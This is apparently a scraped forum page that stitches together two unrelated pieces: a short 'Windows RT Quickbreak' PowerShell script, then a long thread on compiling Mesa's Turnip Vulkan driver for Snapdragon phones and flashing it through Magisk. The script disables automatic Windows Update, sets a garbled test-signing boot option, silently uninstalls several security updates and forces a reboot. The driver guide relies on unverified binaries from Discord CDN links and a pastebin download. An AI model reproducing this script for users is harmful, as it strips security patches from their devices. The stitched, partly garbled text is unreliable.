Brandon's Windows RT Quickbreak Powershell
Save this to a .ps1 file on your RT Device, if you use notepad be sure it's a ps1 file, not a txt file. Run powershell as administrator. Type in the path to this .ps1 file.
The command.
Code:
PS C:\WINDOWS\system32>c:\temp\jailbreak.ps1
The file.
Code:
$registryPath = "HKLM:\Software\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update"
$Name = "AUOptions"
$value = "0"
New-ItemProperty -Path $registryPath -Name $name -Value $value -PropertyType DWORD -Force | Out-Null
bcdedit /set '{current}' loadoptions ' /TŅSTSIGNING'
wusa /uninstall /kb:3084905 /quiet /norestart | Out-Null
wusa /uninstall /kb:3088195 /quiet /norestart | Out-Null
wusa /uninstall /kb:3108381 /quiet /norestart | Out-Null
wusa /uninstall /kb:3121212 /quiet /norestart | Out-Null
wusa /uninstall /kb:3101746 /quiet /norestart | Out-Null
shutdown /r /t 0 /f
Bellow follows a compilation and magisk packaging guide for the Turnip driver, if you just want an optimized build for magisk and don't care to compile get it from https://cdn.discordapp.com/attachments/930104429309460533/942122346960027698/mesa_lto.zip This build is built as release with LTO enabled. Just make sure that on /vendor/lib64/hw you have a file called vulkan.adreno.so ,if the name is different then you have to patch it with patchelf and rename it as stated bellow.
In this guide I'm going to teach you how to compile the mesa's Turnip vulkan driver of the Freedreno project for any smartphone with a Snapdragon SOC on a PC. If you want to compile on your phone (guest) check the second post.
You are going to need Linux in order to follow this guide and recommended is a distro with latest packages, for example Arch Linux (including derivatives like EndeavourOS, Manjaro, Garuda, Calamarch, etc.), while this may also work on WSL/WSL2 I haven't tested it and you are on your own for this.
You are also going to need a mobile phone that’s rooted with the latest magisk and magisk manager.
Before starting you need to satisfy some dependencies:
git to clone the mesa repository
patchelf to patch the binary with the name your phone expects
meson which is mesa’s build system
To get all these on Arch you can use the below command:
Code:
sudo pacman -Syu git patchelf meson
You also need NDK since you are compiling native code for Android. There are two ways to get this:
From the SDK Manager on Android Studio Beta or Canary (Stable Android Studio doesn’t have the latest NDK) by going to More Actions>SDK Manager>SDK Tools on the welcome screen or Tools>SDK Manager>SDK Tools if a project is open and download the latest one. If you already have it and it shows a – sign you need to click it again to become a tick since you already have it but it is an older version. After you get the NDK you can close Android Studio.
Manually from https://developer.android.com/ndk/downloads. Make sure to get the latest NDK for Linux at the bottom of the page.
Now you need to find the absolute path of the NDK, which will be referred to as NDKDIR from now on.
If you got the NDK from Android Studio, then there should be a folder called Android on your home folder with a folder called Sdk inside it, get in. Click the ndk folder then get inside the folder of the biggest version (25.0.8141415 at the time of writing this) and copy the path. In my case the path is
Code:
/home/username/Android/Sdk/ndk/25.0.8141415
If you downloaded the NDK manually then you need to extract it somewhere. For example I created a folder called Turnip in the root of my home folder and extracted it there. The latest NDK is android-ndk-r25-beta1-linux.zip at the time of writing this so my NDKDIR is
Code:
/home/username/Turnip/android-ndk-r25-beta1
Inside your NDKDIR create a folder called pkgconfig and another folder for dependencies which I will call deps.
Next you must create a meson cross file. To do this create a file called android-aarch64 at ~/.local/share/meson/cross/ (~ means your home folder). If you don’t see any folders starting with a dot you need to press ctrl+h, if the path doesn’t exist create it.
On that file paste the following and using your text editor automatically find and replace all instances of NDKDIR with your NDKDIR from above.
Code:
[binaries]
ar = 'NDKDIR/toolchains/llvm/prebuilt/linux-x86_64/bin/llvm-ar'
c = ['ccache', 'NDKDIR/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android31-clang']
cpp = ['ccache', 'NDKDIR/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android31-clang++', '-fno-exceptions', '-fno-unwind-tables', '-fno-asynchronous-unwind-tables', '-static-libstdc++']
c_ld = 'lld'
cpp_ld = 'lld'
strip = 'NDKDIR/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android-strip'
# Android doesn't come with a pkg-config, but we need one for meson to be happy not
# finding all the optional deps it looks for. Use system pkg-config pointing at a
# directory we get to populate with any .pc files we want to add for Android
pkgconfig = ['env', 'PKG_CONFIG_LIBDIR=NDKDIR/pkgconfig', '/usr/bin/pkg-config']
[host_machine]
system = 'linux'
cpu_family = 'aarch64'
cpu = 'armv8'
endian = 'little'
Now you need to download a binary of libdrm compiled for Arm64. It’s available at https://archlinuxarm.org/packages/aarch64/libdrm, just click the Download button on the right. Open the .tar.xz archive using your archive manager. Inside there’s a folder called usr that contains three other folders. You must extract the include and lib folders on the deps folder you created. After you do so, close your archive manager. The lib folder has a folder called pkgconfig, from that folder copy the file libdrm.pc to the pkgconfig folder that you created before deps.
Edit the libdrm pc file after you transfer it and change its first line so that it points to deps. For example in my case it's
Code:
prefix=/home/username/Turnip/android-ndk-r25-beta1/deps
And last, you need a clone of the MESA repository. To clone the repo you need to use the terminal so open a terminal at the folder you want the mesa folder to be downloaded onto or cd there otherwise the mesa folder will be placed at the root of your home folder. To clone you use the bellow command:
Code:
git clone https://gitlab.freedesktop.org/mesa/mesa.git
and cd inside by doing
Code:
cd mesa
Then generate the build files using
Code:
meson build-android-aarch64 --cross-file android-aarch64 -Dbuildtype=release -Dplatforms=android -Dplatform-sdk-version=31 -Dandroid-stub=true -Dgallium-drivers= -Dvulkan-drivers=freedreno -Dfreedreno-kgsl=true -Db_lto=true
And compile with
Code:
ninja -C build-android-aarch64
When this is done you can find our compiled driver binary at build-android-aarch64/src/freedreno/vulkan/ inside the mesa folder named libvulkan_freedreno.so.
Now you must find the name of the binary that our phone has. The easiest way to do this is to open a terminal emulator on your phone like termux or do adb shell and run
Code:
ls /system/vendor/lib64/hw|grep vulkan
In my case the driver is called vulkan.adreno.so.
Now open a terminal on the folder where libvulkan_freedreno.so and use patchelf to patch it with the name of the driver on your phone, for example in my case I’d do
Code:
patchelf --set-soname vulkan.adreno.so libvulkan_freedreno.so
and then rename libvulkan_freedreno.so to the name the driver on your phone has.
You now need to create a magisk package containing Turnip. Simply download my existing package from https://cdn.discordapp.com/attachments/930104429309460533/942122346960027698/mesa_lto.zip and replace /system/vendor/lib64/hw/vulkan.adreno.so with the Turnip binary you compiled, patched and renamed. Now you can flash it on Magisk and reboot your phone. If you have other Magisk packages that are Vulkan drivers please disable them before rebooting. If you want compile again at a later time cd inside the mesa repo you had cloned and do a git pull before running meson and compiling. You may also have to delete the build-android-aarch64 folder.
Some of you wanted to compile Turnip on Termux so here's a tutorial.
You are going to need an arm64 phone and Termux from https://f-droid.org/en/packages/com.termux/. If you have Termux from PlayStore delete it since it no longer works and it uses a different signature so it can't be updated either.
Once you install Termux go to your phone's app settings and give it storage permissions manually then launch it.
You must run some pkg commands, answer Y if it asks you to.
First update the repositories and upgrade the packages using
Code:
pkg update
Next you must install some dependencies
Code:
pkg install binutils bison flex git ninja patchelf python wget zip
The pip version Termux provides isn't always the latest so it must be updated too using
Code:
/data/data/com.termux/files/usr/bin/python3 -m pip install --upgrade pip
You will use pip3 to install the rest of the dependencies
Code:
pip3 install mako meson
Since you aren't cross compiling you need to create the path that hosts the native file
Code:
mkdir -p ~/.local/share/meson/native
and then download the native file for meson using
Code:
curl https://pastebin.com/raw/zdVCZASL>~/.local/share/meson/native/mesa
This file is made for android-ndk-r23b so if a new version gets released use nano to edit it and replace all occurencies of android-ndk-r23b.
You need to download the latest Termux-NDK
(at the moment of writing this the latest is android-ndk-r23b if that changes obviously replace the commands of the guide with the new name and the url bellow)
Code:
wget https://github.com/Lzhiyong/termux-ndk/releases/download/android-ndk/android-ndk-r23b-aarch64.zip
then extract it
Code:
unzip android-ndk-r23b-aarch64.zip
and remove the archive since it isn't needed anymore
Code:
rm android-ndk-r23b-aarch64.zip
Then you need to download libdrm for arm64 from the alarm project's repositories. Simply go to https://archlinuxarm.org/packages/aarch64/libdrm, hold the Download button and copy the url. At the moment the latest one is the one below so change the commands depending on the latest version.
Code:
wget http://mirror.archlinuxarm.org/aarch64/extra/libdrm-2.4.109-1-aarch64.pkg.tar.xz
Then you need to extract it
Code:
tar -xf libdrm-2.4.109-1-aarch64.pkg.tar.xz -C android-ndk-r23b
You then delete the archive since it's no longer of use
Code:
rm libdrm-2.4.109-1-aarch64.pkg.tar.xz
Now you must change the prefix of the libdrm pc file to point to our local pkgconfig
Code:
sed -i 's#prefix=#&/data/data/com.termux/files/home/android-ndk-r23b#g' ~/android-ndk-r23b/usr/lib/pkgconfig/libdrm.pc
You may now clone the mesa repository
Code:
git clone https://gitlab.freedesktop.org/mesa/mesa.git
and get inside it
Code:
cd ~/mesa
Configure the build environment using the meson command below
Code:
meson build-android-aarch64 --native-file mesa -Dbuildtype=release -Dplatforms=android -Dplatform-sdk-version=31 -Dandroid-stub=true -Dgallium-drivers= -Dvulkan-drivers=freedreno -Dfreedreno-kgsl=true -Dcpp_rtti=false -Db_lto=true
and then compile
Code:
ninja -C build-android-aarch64
Linking might take some time but once it's finished go back to Termux' home directory using
Code:
cd ~
Now download the template for the Magisk Driver package
Code:
wget https://cdn.discordapp.com/attachments/894694753684320296/943268696426684456/mesa_lto.zip
and extract it
Code:
unzip mesa_lto.zip -d mesa_lto
then cd inside
Code:
cd mesa_lto
and copy the blob you compiled
Code:
cp ~/mesa/build-android-aarch64/src/freedreno/vulkan/libvulkan_freedreno.so ./system/vendor/lib64/hw/
If you are building for another phone you have to run termux on that other phone and get the name of the vulkan library using
Code:
ls /system/vendor/lib64/hw/|grep vulkan
and then run patchelf and rename the blob.
If not, you can just run these commands that will fetch the name of your phone's library and perform elf name patching
Code:
patchelf --set-soname $(ls /system/vendor/lib64/hw/|grep vulkan) system/vendor/lib64/hw/libvulkan_freedreno.so
and renaming
Code:
mv system/vendor/lib64/hw/libvulkan_freedreno.so system/vendor/lib64/hw/$(ls /system/vendor/lib64/hw/|grep vulkan)
Finally zip the package
Code:
zip -r ../mesa_lto.zip *
and go back to Termux' home directory
Code:
cd ..
Delete the extracted folder, it's not needed anymore
Code:
rm -rf mesa_lto
Push the Magisk package to your phone's home folder
Code:
cp mesa_lto.zip /storage/emulated/0
Close Termux
Code:
exit
Flash with Magisk and reboot.
If you have other Magisk driver packages, disable them.
If you want to compile again you don't have to reclone, just cd into the mesa directory and do
Code:
git pull
You may also have to delete the build-android-aarch64 folder.
samantas5855 said:
Linux's driver stack is awesome, there's no need for introduction. the MESA devs have given us some of the best drivers out there for AMD and Intel GPUs on Desktop Computers and Laptops. MESA also has drivers for mobile chipset GPUs like Panfrost for Mali or Freedreno for Adreno. In today's driver we'll compile (optional) and install Freedreno's Vulkan driver called Turnip on our phones. Sadly we can't use any of the other drivers like the OpenGL/OpenGL ES ones since we cannot boot a mainline kernel (You can run old OpenGL games using ZINK on Termux tho but that's something for another day). Most if not all 3d games use Vulkan tho and that's what we mostly care about. I didn't take any metrics but performance feels better on Freedreno.
I tested this on latest Arrow Os with stock kernel and compiled on Arch Linux x86.
My caps with Freedreno:https://vulkan.gpuinfo.org/displayreport.php?id=12275
My caps with the proprietary driver:https://vulkan.gpuinfo.org/displayreport.php?id=11146
You're gonna need:
Magisk
A pc to compile (Linux or use WSL2)
The guide I followed was this one: https://docs.mesa3d.org/android.html
Building:
First things first, we gotta get our dependencies sorted out. I'm on Arch Linux so the command that follows is for Arch
Code:
sudo pacman -Syu meson git patchelf
We're also gonna need android studio in order to download the NDK, you can also do it manually if you want.
Then we're gonna get the NDK, launch android studio, open a project (if you don't have create an empty one), then go to Tools>SDK Manager. Click the SDK Tools tab, untick Hide Obsolete Packages on the bottom, and get NDK Obsolete. Copy the Android SDK Location from the top, close Android Studio and open this path on your file manager. Enter the ndk-bundle folder and copy its path, this is your NDKDIR for later. Create a folder inside called pkgconfig.
Since we're compiling on an x86, we're gonna need libdrm for arm64, one source to get it was https://archlinuxarm.org/packages/arm/libdrm, it doesn't matter if you use Arch or not, just click the Download link on the right. We have to extract this somewhere and point the compiler to it, I created a folder called deps in the ndk-bundle directory (next to pkgconfig). In there we extract the folders include and lib (for example the path is
Code:
/home/spiros/Android/Sdk/ndk-bundle/deps/lib/
) found on the folder usr of the tar.gz we downloaded. After we extract them, in the lib folder there's a pkgconfig folder, we copy the file called libdrm.pc to the pkgconfig we created on the previous step and delete this folder.
We go to the folder pkgconfig on the root of ndk-bundle and edit libdrm.pc (the file we copied on the previous step). We only wanna change the first line from /usr to the path of the folder we extracted libdrm, in my case . We save and close the file.
Now we need to create a configuration file for meson. Create the file
Code:
~/.local/share/meson/cross/android-aarch64
, where ~ is your home folder. If these folders don't exist create them.
The contents of the file are these:
Code:
[binaries]
ar = 'NDKDIR/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android-ar'
c = ['ccache', 'NDKDIR/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android29-clang']
cpp = ['ccache', 'NDKDIR/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android29-clang++', '-fno-exceptions', '-fno-unwind-tables', '-fno-asynchronous-unwind-tables', '-static-libstdc++']
c_ld = 'lld'
cpp_ld = 'lld'
strip = 'NDKDIR/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android-strip'
# Android doesn't come with a pkg-config, but we need one for meson to be happy not
# finding all the optional deps it looks for. Use system pkg-config pointing at a
# directory we get to populate with any .pc files we want to add for Android
pkgconfig = ['env', 'PKG_CONFIG_LIBDIR=NDKDIR/pkgconfig', '/usr/bin/pkg-config']
[host_machine]
system = 'linux'
cpu_family = 'arm'
cpu = 'armv8'
endian = 'little'
Just search and replace NDKDIR with the path of your ndk-bundle.
Now we have to clone the Mesa project.
On a terminal
Code:
git clone https://gitlab.freedesktop.org/mesa/mesa.git
then
Code:
cd mesa
to enter inside.
Now we have to compile it, the commands we'll use for it are
Code:
meson build-android-aarch64 \
--cross-file android-aarch64 \
-Dplatforms=android \
-Dplatform-sdk-version=30 \
-Dandroid-stub=true \
-Dgallium-drivers= \
-Dvulkan-drivers=freedreno \
-Dfreedreno-kgsl=true
(optionally you can add performance flags to this one like -O3 and -flto=full at your own risk)
and
Code:
ninja -C build-android-aarch64
If it doesn't compile successfully please comment, if it does but says llvm no it's safe to ignore this.
Considering we are already on mesa's folder, the driver we compiled will be at
Code:
build-android-aarch64/src/freedreno/vulkan/libvulkan_freedreno.so
Mesa's guide tells us that "libvulkan wants the SONAME to match" but not how so to do that first we need to know the SONAME of our current driver, so on our Android device we navigate to /vendor/lib64/hw and in there is our current vulkan driver, in my case the name of this driver is
Code:
vulkan.adreno.so
so on my pc using patchelf I'll patch libvulkan_freedreno.so with the following command (replace the path if you aren't inside mesa's folder for some reason)
Code:
patchelf --set-soname vulkan.adreno.so build-android-aarch64/src/freedreno/vulkan/libvulkan_freedreno.so
and rename libvulkan_freedreno.so to the one that your phone had, vulkan.adreno.so for me.
Once we do that we need to make a magisk package, the reason we do this is because /vendor needs to be resized for our driver to fit. So download this zip file, https://cdn.discordapp.com/attachments/669901591662559232/879822129313497108/gam.zip extract it, and place the driver (vulkan.adreno.so on my case) on system/vendor/lib64/hw/. Once you do that zip the files again and transfer the zip to your phone.
On your phone, first you'll have to edit your build.prop, it's on /system/build.prop. I used BuildProp Editor from PlayStore by JRummy Apps. Search for
Code:
debug.hwui.renderer
and set its value to
Code:
skiagl
If it doesn't exist, add it and then set it's value to skiagl. We do this in order to be 100% sure that Vulkan isn't used to render the UI in case something goes wrong.
Now you can flash the zip on Magisk and upon restarting you should be on Freedreno!
For those of you that don't wanna compile, if you make sure that on /vendor/lib64/hw you have a file called vulkan.adreno.so (otherwise you have to patch it with patchelf and rename it as stated above) and are on android 11 you can flash the zip I compiled yesterday on your on risk.
File upload and sharing. Large file transfers. Free online cloud storage.
Visit this link to download: mesa.zip
files.fm
No modifications were done, source can be found at https://gitlab.freedesktop.org/mesa/mesa, commit id 2201f5a58c07866130a67602875d13b1824708e0
Click to expand...
Click to collapse
hello, I was trying to follow ur instructions, Im stuck at
Bash:
ninja -C build-android-aarch64
The error is:
Code:
ld.lld: error: /home/user/Android/Sdk/ndk-bundle/deps/lib/libdrm.so is incompatible with aarch64linux
clang++: error: linker command failed with exit code 1 (use -v to see invocation)
ninja: build stopped: subcommand failed.
I'm using ubuntu, not arch linux
avatarwan13 said:
hello, I was trying to follow ur instructions, Im stuck at
Bash:
ninja -C build-android-aarch64
The error is:
Code:
ld.lld: error: /home/user/Android/Sdk/ndk-bundle/deps/lib/libdrm.so is incompatible with aarch64linux
clang++: error: linker command failed with exit code 1 (use -v to see invocation)
ninja: build stopped: subcommand failed.
I'm using ubuntu, not arch linux
Click to expand...
Click to collapse
I got the same error.
The link in the post for the libdrm was for arm
The link for arm64 libdrm was:
libdrm (aarch64) | Packages | Arch Linux ARM
archlinuxarm.org
I replaced the lib and include files again, and it successfully compiled.
I did the patchelf commands
I replaced the vulkan file in the vendor partition
It did not work when I rebooted, so I changed the permissions of the freedreno vulkan driver to 644.
When I rebooted, the freedreno vulkan driver was now working.
Edit:
The file "aarch64-linux-android-ar" in the new versions of the ndk bundles was renamed to "llvm-ar". I was able to compile using a newer version of ndk instead of the deprecated one.
How can do it without PC I have only android device.
astronomy2021 said:
How can do it without PC I have only android device.
Click to expand...
Click to collapse
Lol good luck
astronomy2021 said:
How can do it without PC I have only android device.
Click to expand...
Click to collapse
I have tried to compile on an android device using termux ubuntu chroot (not proot). I tried using the Linaro clang 13 toolchain for aarch64.
When I tried compiling in termux with the clang 13 toolchain for aarch64, I keep on getting this error:
"error: expected function body after function declarator"
When I compile using ndk toolchain on computer, I do not get this error.
I think it still might be possable to compile using android device.
Apparently it doesn't build release by default, I changed the meson command to do so. Should be faster now
CHECK_123 said:
I got the same error.
The link in the post for the libdrm was for arm
The link for arm64 libdrm was:
libdrm (aarch64) | Packages | Arch Linux ARM
archlinuxarm.org
I replaced the lib and include files again, and it successfully compiled.
I did the patchelf commands
I replaced the vulkan file in the vendor partition
It did not work when I rebooted, so I changed the permissions of the freedreno vulkan driver to 644.
When I rebooted, the freedreno vulkan driver was now working.
Edit:
The file "aarch64-linux-android-ar" in the new versions of the ndk bundles was renamed to "llvm-ar". I was able to compile using a newer version of ndk instead of the deprecated one.
Click to expand...
Click to collapse
Big thanks, I linked the arm32 binary by mistake
Driver is approx. x2 slower than the proprietary one... Damn
P.S. Also i cant compile it by myself, Meson is crying about C-compilers...
SPENT 7 HOURS ON FIXING THIS... DID NOTHING.
meson.build:21:0: ERROR: Unknown compiler(s): ['cc', 'gcc', 'clang', 'pgcc', 'icc']
The follow exceptions were encountered:
Running "cc --version" gave "[Errno 2] No such file or directory: 'cc'"
Running "gcc --version" gave "[Errno 2] No such file or directory: 'gcc'"
Running "clang --version" gave "[Errno 2] No such file or directory: 'clang'"
Running "pgcc --version" gave "[Errno 2] No such file or directory: 'pgcc'"
Running "icc --version" gave "[Errno 2] No such file or directory: 'icc'"
Freakin help
_RusJJ_ said:
Driver is approx. x2 slower than the proprietary one... Damn
P.S. Also i cant compile it by myself, Meson is crying about C-compilers...
SPENT 7 HOURS ON FIXING THIS... DID NOTHING.
meson.build:21:0: ERROR: Unknown compiler(s): ['cc', 'gcc', 'clang', 'pgcc', 'icc']
The follow exceptions were encountered:
Running "cc --version" gave "[Errno 2] No such file or directory: 'cc'"
Running "gcc --version" gave "[Errno 2] No such file or directory: 'gcc'"
Running "clang --version" gave "[Errno 2] No such file or directory: 'clang'"
Running "pgcc --version" gave "[Errno 2] No such file or directory: 'pgcc'"
Running "icc --version" gave "[Errno 2] No such file or directory: 'icc'"
Freakin help
Click to expand...
Click to collapse
You say its 2x slower, how did you compare
samantas5855 said:
You say its 2x slower, how did you compare
Click to expand...
Click to collapse
AetherSX2, 3DMark
_RusJJ_ said:
AetherSX2, 3DMark
Click to expand...
Click to collapse
3DMark is a wrong way to compare; since turnip doesn't have a shader cache yet it will always score worse there until it gets one.
As for aethersx2, I think the dev is interested in bundling turnip with the emu.
Did you use my latest magisk zip with vulkan 1.2?
samantas5855 said:
Did you use my latest magisk zip with vulkan 1.2?
Click to expand...
Click to collapse
Of course
_RusJJ_ said:
Of course
Click to expand...
Click to collapse
Regarding your issues with compiling, what Linux distro are you on?
samantas5855 said:
Regarding your issues with compiling, what Linux distro are you on?
Click to expand...
Click to collapse
Im using WSL. Should be a Ubuntu 20.4
_RusJJ_ said:
Im using WSL. Should be a Ubuntu 20.4
Click to expand...
Click to collapse
Do it properly on a proper linux distro, prefferably arch
Hi I tested your compiled Mesa Turnip Freedreno drivers on Xiaomi Mi 10T 925Mhz/940MHz GPU OC.
Snapdragon 865 with Cortex-A77 and Cortex-A55.
These performance metric qualify to Poco F3 as well.
AetherSX2 with latest v1276 in Vulkan
Dolphin Emulator latest development build v5.0-16009
We can clearly see that Freedreno Turnip Mesa drivers have loss -10-20% of frame rate in this emulation. I don't know why maybe be of lack of Shader cache or other things.
Think like EGG Ns emulator running on Yuzu code won't start because needs Shader caching to work.
Adreno drivers OpenGL v530 possible to update OpenGL v604 or OpenGL v611 which comes with massive boost +10%-15% Vulkan performance.
Tested Game Star Wars: Episode III – Revenge of the Sith Video game for AetherSX2 for PS2 and Metroid prime for GameCube.
Freedreno Turnip Mesa drivers build above Vulkan 1.2.199
AetherSX2 3200x2235 5X native Resolution of PS2.
Freedreno Turnip Mesa drivers LTO 03 VK 1.2.199
{
"lightbox_close": "Close",
"lightbox_next": "Next",
"lightbox_previous": "Previous",
"lightbox_error": "The requested content cannot be loaded. Please try again later.",
"lightbox_start_slideshow": "Start slideshow",
"lightbox_stop_slideshow": "Stop slideshow",
"lightbox_full_screen": "Full screen",
"lightbox_thumbnails": "Thumbnails",
"lightbox_download": "Download",
"lightbox_share": "Share",
"lightbox_zoom": "Zoom",
"lightbox_new_window": "New window",
"lightbox_toggle_sidebar": "Toggle sidebar"
}
OpenGL ES 3.2 [email protected] ([email protected], I3f7239a212, 1620400307) (Date:05/07/21)
Dolphin Emulator 3840x3168 aka 4K 6X GameCube native Resolution
Freedreno Turnip Mesa drivers LTO 03 VK 1.2.199
OpenGL ES 3.2 [email protected] ([email protected], I3f7239a212, 1620400307) (Date:05/07/21)
I am not able to compile it shows below error
--
[67/477] Compiling C++ object src/util/libmesa_util.a.p/u_qsort.cpp.o
FAILED: src/util/libmesa_util.a.p/u_qsort.cpp.o
ccache /local/mnt/workspace/sdk/ndk/21.3.6528147/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android29-clang++ -fuse-ld=lld -fno-exceptions -fno-unwind-tables -fno-asynchronous-unwind-tables -static-libstdc++ -Isrc/util/libmesa_util.a.p -Isrc/util -I../src/util -Iinclude -I../include -I../include/android_stub -Isrc -I../src -Isrc/mapi -I../src/mapi -I../src/mesa -I../src/gallium/include -I../src/gallium/auxiliary -I/usr/include -fvisibility=hidden -flto -Xclang -fcolor-diagnostics -pipe -D_FILE_OFFSET_BITS=64 -Wall -Winvalid-pch -Wnon-virtual-dtor -std=c++14 -O3 -g -D__STDC_CONSTANT_MACROS -D__STDC_FORMAT_MACROS -D__STDC_LIMIT_MACROS '-DPACKAGE_VERSION="22.1.0-devel"' '-DPACKAGE_BUGREPORT="https://gitlab.freedesktop.org/mesa/mesa/-/issues"' -DHAVE_ANDROID_PLATFORM -DUSE_ELF_TLS -DENABLE_ST_OMX_BELLAGIO=0 -DENABLE_ST_OMX_TIZONIA=0 -DEGL_NO_X11 -DANDROID -DANDROID_API_LEVEL=28 -DENABLE_SHADER_CACHE -DHAVE___BUILTIN_BSWAP32 -DHAVE___BUILTIN_BSWAP64 -DHAVE___BUILTIN_CLZ -DHAVE___BUILTIN_CLZLL -DHAVE___BUILTIN_CTZ -DHAVE___BUILTIN_EXPECT -DHAVE___BUILTIN_FFS -DHAVE___BUILTIN_FFSLL -DHAVE___BUILTIN_POPCOUNT -DHAVE___BUILTIN_POPCOUNTLL -DHAVE___BUILTIN_UNREACHABLE -D_GNU_SOURCE -DUSE_ARM_ASM -DHAVE_STRTOF -DHAVE_MKOSTEMP -DHAVE_TIMESPEC_GET -DHAVE_FLOCK -DHAVE_STRTOK_R -DHAVE_GETRANDOM -DHAVE_POSIX_MEMALIGN -DHAVE_STRTOD_L -DHAVE_DLADDR -DHAVE_DL_ITERATE_PHDR -DHAVE_ZLIB -DHAVE_COMPRESSION -DHAVE_PTHREAD -DHAVE_LIBDRM -DMESA_EXECMEM -DVK_USE_PLATFORM_ANDROID_KHR -Qunused-arguments -fPIC -pthread -MD -MQ src/util/libmesa_util.a.p/u_qsort.cpp.o -MF src/util/libmesa_util.a.p/u_qsort.cpp.o.d -o src/util/libmesa_util.a.p/u_qsort.cpp.o -c ../src/util/u_qsort.cpp
In file included from ../src/util/u_qsort.cpp:25:
In file included from /local/mnt/workspace/sdk/ndk/21.3.6528147/toolchains/llvm/prebuilt/linux-x86_64/bin/../sysroot/usr/include/c++/v1/thread:87:
In file included from /local/mnt/workspace/sdk/ndk/21.3.6528147/toolchains/llvm/prebuilt/linux-x86_64/bin/../sysroot/usr/include/c++/v1/__functional_base:15:
/local/mnt/workspace/sdk/ndk/21.3.6528147/toolchains/llvm/prebuilt/linux-x86_64/bin/../sysroot/usr/include/c++/v1/typeinfo:215:14: error: cast from pointer to smaller type 'std::__type_info_implementations::__non_unique_arm_rtti_bit_impl::__type_name_t' (aka 'unsigned int') loses information
return reinterpret_cast<__type_name_t>(__v);
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
/local/mnt/workspace/sdk/ndk/21.3.6528147/toolchains/llvm/prebuilt/linux-x86_64/bin/../sysroot/usr/include/c++/v1/typeinfo:221:16: error: reinterpret_cast from 'std::__type_info_implementations::__non_unique_arm_rtti_bit_impl::__type_name_t' (aka 'unsigned int') to 'size_t' (aka 'unsigned long') is not allowed
return reinterpret_cast<size_t>(__v);
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~
In file included from ../src/util/u_qsort.cpp:25:
In file included from /local/mnt/workspace/sdk/ndk/21.3.6528147/toolchains/llvm/prebuilt/linux-x86_64/bin/../sysroot/usr/include/c++/v1/thread:94:
In file included from /local/mnt/workspace/sdk/ndk/21.3.6528147/toolchains/llvm/prebuilt/linux-x86_64/bin/../sysroot/usr/include/c++/v1/__mutex_base:16:
In file included from /local/mnt/workspace/sdk/ndk/21.3.6528147/toolchains/llvm/prebuilt/linux-x86_64/bin/../sysroot/usr/include/c++/v1/__threading_support:27:
/usr/include/pthread.h:681:22: error: 'regparm' is not valid on this platform
__attribute__ ((__regparm__ (1)));
^ ~
/usr/include/pthread.h:693:19: error: 'regparm' is not valid on this platform
__attribute__ ((__regparm__ (1)));
^ ~
/usr/include/pthread.h:716:22: error: 'regparm' is not valid on this platform
__attribute__ ((__regparm__ (1)));
^ ~
/usr/include/pthread.h:729:19: error: 'regparm' is not valid on this platform
__attribute__ ((__regparm__ (1)));
^ ~
/usr/include/pthread.h:734:22: error: 'regparm' is not valid on this platform
__attribute__ ((__regparm__ (1))) __attribute__ ((__noreturn__))
^ ~
7 errors generated.
dkpandya said:
I am not able to compile it shows below error
--
[67/477] Compiling C++ object src/util/libmesa_util.a.p/u_qsort.cpp.o
FAILED: src/util/libmesa_util.a.p/u_qsort.cpp.o
ccache /local/mnt/workspace/sdk/ndk/21.3.6528147/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android29-clang++ -fuse-ld=lld -fno-exceptions -fno-unwind-tables -fno-asynchronous-unwind-tables -static-libstdc++ -Isrc/util/libmesa_util.a.p -Isrc/util -I../src/util -Iinclude -I../include -I../include/android_stub -Isrc -I../src -Isrc/mapi -I../src/mapi -I../src/mesa -I../src/gallium/include -I../src/gallium/auxiliary -I/usr/include -fvisibility=hidden -flto -Xclang -fcolor-diagnostics -pipe -D_FILE_OFFSET_BITS=64 -Wall -Winvalid-pch -Wnon-virtual-dtor -std=c++14 -O3 -g -D__STDC_CONSTANT_MACROS -D__STDC_FORMAT_MACROS -D__STDC_LIMIT_MACROS '-DPACKAGE_VERSION="22.1.0-devel"' '-DPACKAGE_BUGREPORT="https://gitlab.freedesktop.org/mesa/mesa/-/issues"' -DHAVE_ANDROID_PLATFORM -DUSE_ELF_TLS -DENABLE_ST_OMX_BELLAGIO=0 -DENABLE_ST_OMX_TIZONIA=0 -DEGL_NO_X11 -DANDROID -DANDROID_API_LEVEL=28 -DENABLE_SHADER_CACHE -DHAVE___BUILTIN_BSWAP32 -DHAVE___BUILTIN_BSWAP64 -DHAVE___BUILTIN_CLZ -DHAVE___BUILTIN_CLZLL -DHAVE___BUILTIN_CTZ -DHAVE___BUILTIN_EXPECT -DHAVE___BUILTIN_FFS -DHAVE___BUILTIN_FFSLL -DHAVE___BUILTIN_POPCOUNT -DHAVE___BUILTIN_POPCOUNTLL -DHAVE___BUILTIN_UNREACHABLE -D_GNU_SOURCE -DUSE_ARM_ASM -DHAVE_STRTOF -DHAVE_MKOSTEMP -DHAVE_TIMESPEC_GET -DHAVE_FLOCK -DHAVE_STRTOK_R -DHAVE_GETRANDOM -DHAVE_POSIX_MEMALIGN -DHAVE_STRTOD_L -DHAVE_DLADDR -DHAVE_DL_ITERATE_PHDR -DHAVE_ZLIB -DHAVE_COMPRESSION -DHAVE_PTHREAD -DHAVE_LIBDRM -DMESA_EXECMEM -DVK_USE_PLATFORM_ANDROID_KHR -Qunused-arguments -fPIC -pthread -MD -MQ src/util/libmesa_util.a.p/u_qsort.cpp.o -MF src/util/libmesa_util.a.p/u_qsort.cpp.o.d -o src/util/libmesa_util.a.p/u_qsort.cpp.o -c ../src/util/u_qsort.cpp
In file included from ../src/util/u_qsort.cpp:25:
In file included from /local/mnt/workspace/sdk/ndk/21.3.6528147/toolchains/llvm/prebuilt/linux-x86_64/bin/../sysroot/usr/include/c++/v1/thread:87:
